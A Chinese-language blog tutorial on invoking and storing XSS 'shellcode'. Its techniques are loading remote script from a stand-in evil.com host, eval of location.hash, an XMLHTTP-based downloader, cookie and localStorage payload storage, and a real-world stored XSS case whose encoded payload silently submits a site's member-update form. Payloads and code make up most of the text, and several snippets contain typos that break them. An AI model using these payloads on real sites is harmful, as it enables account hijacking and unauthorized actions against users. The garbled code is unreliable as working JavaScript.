XSS ShellCode的调用

1.动态调用远程JavaScript
假设www.bug.com是某个页面含有一个XSS漏洞,Exploit如下:
http://www.bug.com/view.php?sort=[Exploit]
可以直接把Shellcode写到URL参数中,如:
http://www.bug.com/view.php?sort="><script>alert(/xss/)</script>
方便起见可以把Shellcode写到其他服务器的文件上,然后在用<script>标签进行动态加载.
"><scriptsrc=http://www.evil.com/xss.js> </script><
http://www.bug.com/view.php?sort="><scriptsrc=http://www.evil.com/xss.js> </script><
 
除了使用<script>标签动态调用远程JavaScript,还可以运用基于DOM的方法创建和插入节点,
把脚本或HTML注入到网页,实现过程如下:
vars=document.creteElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);
第一行代码使用createElement()函数创建一个新元素—script
第二行代码把<script>的src属性设置成"http://www.evil.com/xss.js",xss.js里面鞋油Shellcode代码.
第三行代码使用GetElementsByTagName()函数查找并返回文档中第一个元素(因为索引为0),
然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个.
简单来说,这段脚本的作用就是动态创建了一个<script>标签,其src属性指向http://www.evil.com/xss.js.然后把引用JavaScript的代码插入到网页的<head>标签后
 
2.使用window.location.hash
如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用—利用window.location.hash属性.
location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的UTL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值.比如http://domain/#admin的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情.
http://www.bug.com/view.php?sort=[Exploit]
如果结合location.hash的特性调用Shellcode,具体如下:
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
//其中substr()可在字符串中抽取从start下标(这里是1)开始的指定数目的字符,所以location.hash.substr(1)的作用是抽取"#"符号后面的字符,即alert('xss').而eval()函数用来计算某个字符串,并执行其中的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中在执行.
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#varurl="/index.php?mod=blog&act=dopost";varcontent="blog_content=By%3A%E5%AD%A4";function_sd_Post(Url,Args){varxmlhttp;var error;eval('try {xmlhttp=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xmlhttp=null;error=e;}');if(null!=xmlhttp){xmlhttp.Open("POST",Url,false);xmlhttp.setRequestHeader("x-requested-with","XMLHttpRequest");xmlhttp.setRequestHeader("Referer","http://www.my.com/api_proxy.html");xmlhttp.setRequestHeader("Accept","application/json,text/javascript,*/*");xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host","www.my.com");xmlhttp.Send(Args);StrText=xmlhttp.reponseText;}}_sd_Post(url,content);
这个XSS Exploit还可以经过各种编码处理以加强迷惑性.
 
3.XSSDownloader
另外一种存储和调用Shellcode的方法,即将其存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方,然后再把他们下载下来执行.
简单地说,就是打造一个XSSdownloader(XSS下载器),事先把Shellcode写在网站的某个页面,在利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据.
简单的POC:
functionXSS(){       /*定义一个XSS()函数,该函数就是调用Shellcode的主函数*/
a=newActiveXObject('Microsoft.XMLHTTP');  /*创建一个XMLHTTP对象*/
a.Open('get','http://www.bug.com/11221.html',false);
a.send();           /*向11221.html发送一个HTTP请求并获取HTTP响应*/
b=a.responseText;  /*获取responseText,结果返回为字符串,把该变量赋值给b变量*/
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
                  /*用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取
                  出字符串,最后用unescape()函数方法解码执行*/
}d()
 
http://www.bug.com/11221.html页面代码:
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212
 
真实XSS利用案例:
某网站同学录留言的贴图URL输入框处出现过XSS,主要是用onload事件来触发,Exploit如下:
//在留言的贴图URL的输入框里填写
/editor/UploadFile/2006-12/2/2006122155124754.gif"οnlοad="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;vare=t.indexOf('---');eval(unescape(t.substring(s,e)));">
 
//在留言框内填写:
+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---
 
XSS代码触发后,会调用留言内容中的+++和---之间的部分代码,对这段代码解码后得到核心的Shellcode如下:
try {
var as =document.getElementsByTagName("a");
var frm= document.getElementsByTagName("iframe")[0];
frm.οnlοad= function() {
var oFrm= document.getElementsByTagName("iframe")[0];
oFrm.οnlοad= "";
var oDoc= oFrm.contentWindow.document;
oDoc.all["who"][1].checked= true;
oDoc.dealmember.action= "backaction/UpdateClassMate.jsp?f=1";
oDoc.dealmember.submit();
}
frm.src= as[34].href;
} catch(e) {
alert(e);
}
 
4.备选存储技术
随着XSS技术的不断发展,攻击者想出来越来越多巧妙的方法去存储和调用XSS Shellcode,较为新颖的方式是把XSS Shellcode存储在客户端本地域中,譬如HTTP cookie、Flash共享对象、UserData、localStorage等.
其中Cookie是客户存储技术中的传统解决方法,但是它有个明显的缺点,就是存储的容量有限,被限制在4KB内.

在Cookie中存储Shellcode的POC如下:
functionsetShellCodz(codz){
var exp=new Data();
exp.setTime(exp.getTime()+365*24*60*60*1000);
document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();
}

另一种存储容器是Flash共享对象(Shared Object,SO),类似于HTTP Cookie的运用方式,所以也被称作Flash Cookie.
与普通Cookie的4KB限制不同,SO存储最大可达100KB,并且可以使用任何形式的JS对象,缺点是必须要使用Flash软件.
 
除了以上两种Cookie,还可以使用IE的UserData存储XSS Shellcode.UserData是微软专门为IE在系统中开辟的一块存储空间,最少能支持64KB,不足之处是只能在IE浏览器上使用.


另外,HTML5也提供了两种在客户端存储数据的新方法,包括localStorage和sessionStorage,其用法基本相同.以localStorage为例,存储数据的方法是直接给window.localStorage添加一个属性,如:window.localStorage.a或者window.localStorage["a"]
它的读取、写入、删除操作方法很简单,是以键值对的方式存在的:
<script>
localStorage.a="xss";
document.write(localStorage.a);
if (localStorage.count)
 {
 localStorage.count=Number(localStorage.count)+1;
 }
else
 {
 localStorage.count=1;
 }
document.write("访问次数"+localStorage.count+ " time(s) .");
</script>
 
这段代码会创建一个变量a,并把XSS存储进去,然后把相关信息打印出来.
需要支持HTML5的浏览器才能看到效果.
xss访问次数1 time(s) .      xss访问次数2time(s) .
 
如果要把XSS Shellcode存储在localStorage中,操作如下:
 
//保存Shellcode
functionsetShellCodz(codz){
window.localStorage.setItem("shellcodz",codz);}
 
//执行Shellcode
functiongetShellCodz(){
eval(window.localStorage.getItem("shellcodz"));}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值